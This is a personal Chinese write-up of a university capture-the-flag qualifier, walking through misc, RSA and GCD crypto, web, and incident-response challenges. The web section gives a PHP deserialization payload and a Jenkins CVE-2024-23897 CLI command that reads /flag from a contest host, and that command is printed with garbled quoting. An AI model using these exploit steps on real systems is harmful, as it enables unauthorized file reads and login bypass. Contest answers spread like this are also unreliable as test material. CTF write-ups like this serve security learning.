XAUT2025全国大学生信息安全竞赛新生预选赛-个人WP

debu8ger Lv3

作者: debu8ger

队伍: GeekPwn02

总排名: 5

排名: 1

得分: 2563

MISC


SignIn


题目描述:

%58%41%55%54%43%54%46%7B%57%65%31%63%30%6D%65%5F%74%30%5F%58%41%55%54 %43%54%46%7D


直接拿到随波逐流里一把梭得到 flag

try


题目描述:黑客意外获得了 Peng 常用密码的前 5位 13897 ,但不知道具体的位数,请你尝试恢复出完整 的密码。


下载附件后, zip 文件加了密,拖到 ARCHPR 里。 根据题目描述,联想到用掩码 ,设置掩码为 13897??? ,不断尝试密码位数,最后为 13897?????? ,得出密码 为13897564231 。

用密码得出 flag

沙滩,海洋,大冒险!


题目描述: “Play, play, and a little competition !”

一到假期, BR 就迫不急待跑出去玩了!可恶,校赛题还没有出完呢,这怎么能行?!

BR 不愿意透露自己去哪里玩了,但是我们通过一些社会工程学手段打听到了一些信息。 现在你需要基于题目附件给出的提示推断出 BR 去哪里玩了,并且找到 BR 出发时 乘坐的那一班飞机! flag 为: XAUTCTF{ 搭乘的飞机航班号 }

示例:假如搭乘的是 1月31 日07:00-09:15 从北京首都国际机场飞往上海浦东国际机场的东航 MU5100 ,则flag 为: XAUTCTF{MU5100}


附件下载后是几张图片,根据图片里的 “南沙湖景区 ”,在浏览器搜索得出在汉中的飞机场,再根据聊天记 录中的时间 1.7 出发, 22 :50 的飞机得出航班为 GX8898

Crypto

开心解方程


题目描述:解方程谁不会啊!我靠,这么大的数!


下载附件后打开:

from Crypto.Util.number import *
from flag import real_flag
import random
def get_random_number():
return random.randint(10**1000,10**1001)
a = bytes_to_long(real_flag)
b = get_random_number()
c = get_random_number()
d = get_random_number()
n1 = a*b
n2 = b*c
n3 = c*d
print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"n3 = {n3}")
print(f"d = {d}")
"""
n1 =
660450239937627676472423152753088762866493652912175035499026181480010556008370227
132820692782941399020078286652999758917091413843420294288183682337794567181698378
005190614956144552666986460330953742492949504762378684649291608293382476170196507
203860717478415630531428751980788146515223279726281602812659703309762797436048496
627911598377385262782778046800188003103442375618916707142674221670302396972922283
520054905593166294022196546718266472584050053300607686206198014313391408445437435
461419478264326992928539518498208034077320792110599071386379968059173966168861863
310563929045344315395731430000393330742178273782030232137271829338224042312738785
152236946900306968280222576625839634537180837030960604009475268281037277121979859
481286561762653987805286800510140743673637571353114984679475017659746968187968573
057934009318669305996594873342826450526329996481608343739819045332409118504519002
207477400866719610003935048350194103918864656918681643952118946067692088906775185
346231362247690338142322966940992512356418386457476687916237422414439983444353705
38812516231728525148001841752921696848750
n2 =
132055559948771408099604477174510908640912495019380611591004400217163913272136993
624283235079308020015173158191553338936753084171134908531165485921070874516834813
976117599430837900823335294479519533702907533849170522341798957404618239390485873
877756550985342946026048577994521995745243228888275945684197374335095889775900584
018493535693551635367739929894727124030411094267858058173324359095354142826060871
855025402896480786226652143721749604469688715048143841581073559139793591057386368
662003982514297359734502803119229221447469362191444625907240976754170723813555216
696259448226530794490426262235682192406211548384519179216913469272608133976730073
740693350965705743473429521428183071140252726519187867319209698168797844265454686
604650858647625651544844781172441114327730413909755610663851775805294677760337341
471874320104145726238738815997034116160241320481623424055329647756212404950138137
201755652092058647070154954508993527680392400884226430281062546126537770580183644
562443912059541003914708424230090569341055501736533553073746674313903992403503206
857916767617208494549796807961852733026405952427948517952448304611149342659684628
569240855038143599794523207383276344355059600817779494420269353407710918628882281
209710568248306625094302589083556130775420236298436946727954741207366382680753425
658694529323561705425881551718193904002607996920204879424398104325533927369289415
066917692493833507884186060259837106601569745744140016374319263631306625671259175
725749415499428033183980555918740839725077368686680281827054943319958962854368269
697061677855152125336416555541049194632983874540006015609081285573904886020380480
815939450727082808598371168705113292836650171896662288041545378376290705384280571
907349030484957785736384072797454874730966709528617139563145541483208207493168201
036502003863127289159200256458071082412659606747201219742648312696937511042470016
665970393829748900730673247488465176447873096543614566319875241944650936502266014
7218357448783598847793577903599742398436141520668329522500
n3 =
249410272713998803165754891640007600846974535132227413971910865147969418539888390
073195689606460962553558928312743817847989934263100229022376128133508659027145332
511026307508686380224842234337426552003909228705197467042081026039559458721425938
098730849518727610240511003769836456879846902229417814578214601487649676894922723
462954711576107249045920865021523357612453775914962100509145273182613952283062735
895326241387273776619073614869159145539227349333374466068545601681226017756778478
970656850557932065579658939902181207185042720135934511308625418584279218810969482
187360886196754252103439195563518876634644835852209538418218191912157245441621484
746534825636136256651467843529859284555352243328258765980117242641670660964203471
733964221141765428089495089015946263582880444097689977702505016847310236571510768
439660043606739100605659424426677991950824300152769387504462598723123583198993392
920491550064242470431710380838595074587484332709028700667374217858019338913770751
233780840991911748572040679879955312564101137264045108984589666328288716593695705
628987313346676289541168447603290206899000688718335042566310836818080249745939265
766878889098243823775754170428574336166853448019828193151415593388977747007521853
462627419876286500597076433888660170265722292820282769078749796486423267732929410
579782033440976060073930532384320862660899912815510485687067091261411753169539876
689833347677430308001021169722778003692862579513640957940092905357037836527451598
294841312550447400930034141425085131602165292124625826119147029246119569825071322
961239430304131377656956479972476980119731750167986534701212222821155552705687935
372081227591635388891661558276169595275715422113441207510282320593295030888415098
837302380595809009588072616229131468353596837635562957862923207068829417296231130
002134233287119398969022114042157048675352691161235874217937559447389382292290724
611250564692584551972664442684936608785858133466701256968233101458604112191821224
2373332106875529757752615031856738830163693909495716952252
d =
433649372657589561562736809113004896168988647467520522913503121627765152775872617
601174780309978948487118630623329285993553677703405155275957279564069754922608153
154985338337687221891537104845929137385323656737740520069497836713892798151396178
503110905146427254229932668338319430728026724929326990940122153602546409602279757
590528474512032428065493660727706292350992848548454374097053296992399965219450980
279948354644467259044536527730448427845444122562421182834303885763776785213056778
206306776574403086432100135804575686894687978437505218130338350044882355907368727
497314999595347129061253373714169034744396871198566741632582508619413746765301690
848796950206844814814100377730903357480581057890708058699990419019558244478361014
643171912366628244865206104432518650743908058177170171276657980747433307972075558
617764047083267897091305898360989080598358610366787147875243647574664400539203394
508901718521693792584822114894193675290489292453184418407413481891188937735907286
65799522362650234927535765626
"""

通过代码审计,看到 n1 、n2 ,n3 已知,上面的 b、c、d是生成的随机数, n1 和n2 、n3 则是它们相乘,可 以用 GCD 算法逆向得出 a,即为真正的 flag 。

得出 exp :

from Crypto.Util.number import *
from math import gcd
n1 =
660450239937627676472423152753088762866493652912175035499026181480010556008370227
132820692782941399020078286652999758917091413843420294288183682337794567181698378
005190614956144552666986460330953742492949504762378684649291608293382476170196507
203860717478415630531428751980788146515223279726281602812659703309762797436048496
627911598377385262782778046800188003103442375618916707142674221670302396972922283
520054905593166294022196546718266472584050053300607686206198014313391408445437435
461419478264326992928539518498208034077320792110599071386379968059173966168861863
310563929045344315395731430000393330742178273782030232137271829338224042312738785
152236946900306968280222576625839634537180837030960604009475268281037277121979859
481286561762653987805286800510140743673637571353114984679475017659746968187968573
057934009318669305996594873342826450526329996481608343739819045332409118504519002
207477400866719610003935048350194103918864656918681643952118946067692088906775185
346231362247690338142322966940992512356418386457476687916237422414439983444353705
38812516231728525148001841752921696848750
n2 =
132055559948771408099604477174510908640912495019380611591004400217163913272136993
624283235079308020015173158191553338936753084171134908531165485921070874516834813
976117599430837900823335294479519533702907533849170522341798957404618239390485873
877756550985342946026048577994521995745243228888275945684197374335095889775900584
018493535693551635367739929894727124030411094267858058173324359095354142826060871
855025402896480786226652143721749604469688715048143841581073559139793591057386368
662003982514297359734502803119229221447469362191444625907240976754170723813555216
696259448226530794490426262235682192406211548384519179216913469272608133976730073
740693350965705743473429521428183071140252726519187867319209698168797844265454686
604650858647625651544844781172441114327730413909755610663851775805294677760337341
471874320104145726238738815997034116160241320481623424055329647756212404950138137
201755652092058647070154954508993527680392400884226430281062546126537770580183644
562443912059541003914708424230090569341055501736533553073746674313903992403503206
857916767617208494549796807961852733026405952427948517952448304611149342659684628
569240855038143599794523207383276344355059600817779494420269353407710918628882281
209710568248306625094302589083556130775420236298436946727954741207366382680753425
658694529323561705425881551718193904002607996920204879424398104325533927369289415
066917692493833507884186060259837106601569745744140016374319263631306625671259175
725749415499428033183980555918740839725077368686680281827054943319958962854368269
697061677855152125336416555541049194632983874540006015609081285573904886020380480
815939450727082808598371168705113292836650171896662288041545378376290705384280571
907349030484957785736384072797454874730966709528617139563145541483208207493168201
036502003863127289159200256458071082412659606747201219742648312696937511042470016
665970393829748900730673247488465176447873096543614566319875241944650936502266014
7218357448783598847793577903599742398436141520668329522500
n3 =
249410272713998803165754891640007600846974535132227413971910865147969418539888390
073195689606460962553558928312743817847989934263100229022376128133508659027145332
511026307508686380224842234337426552003909228705197467042081026039559458721425938
098730849518727610240511003769836456879846902229417814578214601487649676894922723
462954711576107249045920865021523357612453775914962100509145273182613952283062735
895326241387273776619073614869159145539227349333374466068545601681226017756778478
970656850557932065579658939902181207185042720135934511308625418584279218810969482
187360886196754252103439195563518876634644835852209538418218191912157245441621484
746534825636136256651467843529859284555352243328258765980117242641670660964203471
733964221141765428089495089015946263582880444097689977702505016847310236571510768
439660043606739100605659424426677991950824300152769387504462598723123583198993392
920491550064242470431710380838595074587484332709028700667374217858019338913770751
233780840991911748572040679879955312564101137264045108984589666328288716593695705
628987313346676289541168447603290206899000688718335042566310836818080249745939265
766878889098243823775754170428574336166853448019828193151415593388977747007521853
462627419876286500597076433888660170265722292820282769078749796486423267732929410
579782033440976060073930532384320862660899912815510485687067091261411753169539876
689833347677430308001021169722778003692862579513640957940092905357037836527451598
294841312550447400930034141425085131602165292124625826119147029246119569825071322
961239430304131377656956479972476980119731750167986534701212222821155552705687935
372081227591635388891661558276169595275715422113441207510282320593295030888415098
837302380595809009588072616229131468353596837635562957862923207068829417296231130
002134233287119398969022114042157048675352691161235874217937559447389382292290724
611250564692584551972664442684936608785858133466701256968233101458604112191821224
2373332106875529757752615031856738830163693909495716952252
d =
433649372657589561562736809113004896168988647467520522913503121627765152775872617
601174780309978948487118630623329285993553677703405155275957279564069754922608153
154985338337687221891537104845929137385323656737740520069497836713892798151396178
503110905146427254229932668338319430728026724929326990940122153602546409602279757
590528474512032428065493660727706292350992848548454374097053296992399965219450980
279948354644467259044536527730448427845444122562421182834303885763776785213056778
206306776574403086432100135804575686894687978437505218130338350044882355907368727
497314999595347129061253373714169034744396871198566741632582508619413746765301690
848796950206844814814100377730903357480581057890708058699990419019558244478361014
643171912366628244865206104432518650743908058177170171276657980747433307972075558
617764047083267897091305898360989080598358610366787147875243647574664400539203394
508901718521693792584822114894193675290489292453184418407413481891188937735907286
65799522362650234927535765626
b = gcd(n1, n2)
a = n1 // b
c = n2 // b
real_flag = long_to_bytes(a)
print(f"THE real_flag: {real_flag.decode()}")

即可得到 flag 。

ezRSA


题目描述:这伞兵 BR 又出了什么抽象题?忍不了了!和 BR 爆了!!!


下载了附件后是 txt 文件,打开:

e = 65537

n = 33896169649278787817413108531913159564802588344171700864708498661924206927271997490 45136855692986896313375718348538743048229582847210725029529834835813548058842302356 16224853229739254453896448014605235889565579360332680381264108519019900566994903905 05881187230673778366514722844167243102886788304917509722252674263436525922913096000 98944351229749957513453626264488620799659160485560680576771242990157

dp = 40008312476670176077019320150135078093576233427810327258745387563367163532724088700 44433889118362883630676972295465773710150675576341453713705665281129523531268017856 3283946769876556761670653862586533

c = 27517927422383474443348354524600841867994530350599275770033259060956283813207152505 38921636436471076761144030529733555087963190221733614651048234326074859224867616661 30746018102996787411650068046965914585541239006719172052235204702773905192301423559 48361827142449434679837060411450431072294284607048332335596884831364971047377659128 20183578092203043788325533521188107197615771966434225751684425810745

通过分析,已知公钥指数 e、模数 n、解密指数 dp 和密文 c,要得到明文。利用 RSA 知识 dp=d mod(p−1) ,

找到 p后,可以得到 q,计算 phi(n) 和d,

最后利用中国剩余定理解密 c

写exp :

from Crypto.Util.number import inverse, isPrime, long_to_bytes
e = 65537
n =
338961696492787878174131085319131595648025883441717008647084986619242069272719974
904513685569298689631337571834853874304822958284721072502952983483581354805884230
235616224853229739254453896448014605235889565579360332680381264108519019900566994
903905058811872306737783665147228441672431028867883049175097222526742634365259229
1309600098944351229749957513453626264488620799659160485560680576771242990157
dp =
400083124766701760770193201501350780935762334278103272587453875633671635327240887
004443388911836288363067697229546577371015067557634145371370566528112952353126801
78563283946769876556761670653862586533
c =
275179274223834744433483545246008418679945303505992757700332590609562838132071525
053892163643647107676114403052973355508796319022173361465104823432607485922486761
666130746018102996787411650068046965914585541239006719172052235204702773905192301
423559483618271424494346798370604114504310722942846070483323355968848313649710473
7765912820183578092203043788325533521188107197615771966434225751684425810745
for k in range(1, e):
p = (e * dp - 1) // k + 1
if (e * dp - 1) % k == 0 and isPrime(p) and n % p == 0:
q = n // p
if isPrime(q):
break
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
dq = d % (q-1)
m_p = pow(c, dp, p)
m_q = pow(c, dq, q)
h = (inverse(q, p) * (m_p - m_q)) % p
m = (m_q + h * q)
flag = long_to_bytes(m).decode()
print("解密后的flag:", flag)

得到 flag

private key


题目描述:众所周知,公钥加密,私钥解密,那么没有私钥,这怎么解密?

hint: 私钥生成所需要的 p,q如何从公钥的 n中获得呢?


下载附件得到三个文件: attachment.py 、flag.enc 和public_key.pem ,这个题是已知公钥,无私钥,则我们要得到私钥后才能解密 flag.enc ,放到 kali 中,

可以看到已得出了 private_key.pem ,但是用 kali 自带的貌似解出来不对,

于是我用 python 写了一段解密 exp :

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

def dec():
private_key = RSA.importKey(open('private.pem', 'r').read())
rsa_decryptor = PKCS1_OAEP.new(private_key)
with open('flag.enc', 'rb') as fp:
encrypted_data = fp.read()
decrypted = rsa_decryptor.decrypt(encrypted_data)
print("解密后的 flag:", decrypted.decode())
dec()

得出 flag

Web

unser


题目描述:小李是一位初学编程的小伙子,刚接触一种新语言。他发现这门语言操作数据的方式很特 别,可以把复杂的信息转化为看似简单的文本,又能轻松恢复成原来的样子。 为了练习,他写了一个小程序,记录好友的名字和生日。小李把这些信息转换成一个奇怪的格式保存起 来。几天后,他用程序还原了这些数据,发现好友的生日一条不少。他很开心,觉得自己迈出了学习的 第一步。 这次成功让小李充满信心,他开始觉得学编程并没有想象中那么难嘛!


得到题目实例:

<?php
highlight_file(__FILE__);
include("flag.php");
class login{
public $user;
public $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="admin" and $this->pass=="admin123"){
return True;
}
}
}

if(isset($_GET['flag']))
{
$a=unserialize($_GET['flag']);
if($a->login())
{
echo $flag;
}
}

经典的反序列化漏洞, 写一手逆向代码,

得到payload :O:5:”login”:2: {s:4:”user”;s:5:”admin”;s:4:”pass”;s:8:”admin123”;}

得到 flag

Jenkins


题目描述:坏了,我不会 java ,这怎么打???

hint: 容器启动较慢,请耐心等候,完全启动预计需要 10min flag 位于 /flag

在网上看看有没有现成的 poc 之类的?


等网页加载完后是经典的登陆界面,利用网络资源有 poc ,

首先在前端页面输入 jnlpJars/jenkins-cli.jar ,可以下载到 jar 文件,

然后再打开 kali ,在命令行中输入:java -jar ‘/../../../jenkins-cli.jar -s -http 47.121.201.96:50527 help 1 “@/flag’’

得到 flag

#参考了 Jenkins 文件读取漏洞拾遗( CVE-2024-23897 ) | 离别歌

Forensics (附件忘了保存了 :( )

应急响应 -1 钓鱼邮件


近日, Peng 的个人电脑遭到黑客攻击,请你帮 Peng 溯源攻击链。 黑客发送的钓鱼邮件的发件地址是?

例: XAUTCTF{ 123456@qq.com}

hint :部分文件为真实病毒样本,请不要在物理机运行

翻一翻 此电脑


挂载虚拟机后进入,

根据提示,点击此电脑,有一个寒假通知,点击后即可看到邮件地址。

应急响应 -2 一句话木马


题目描述:黑客写入的一句话木马的连接密码是?

例: XAUTCTF{cmd}


在虚拟机上下载 D盾,查找后门文件可以看到有两个可疑文件,

点开可以看到一句话马 🐎 ,得到是 POST 的easyshell ,为 flag

应急响应 -3 后门用户


题目描述:黑客的添加的后门用户是?

例: XAUTCTF{hacker}


在虚拟机上的控制面板的用户账户可得到后门用户 wshcaker$

应急响应 -4 病毒文件


题目描述:黑客植入的病毒程序的外连 ip 及端口是


在cmd 里输入 netstat -naob 可得到外连 IP 地址

应急响应 -5 勒索钱包


题目描述:黑客留下的勒索钱包地址是?

例: XAUTCTF{1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa}


直接点击桌面上的 readme.txt 可得到

Comments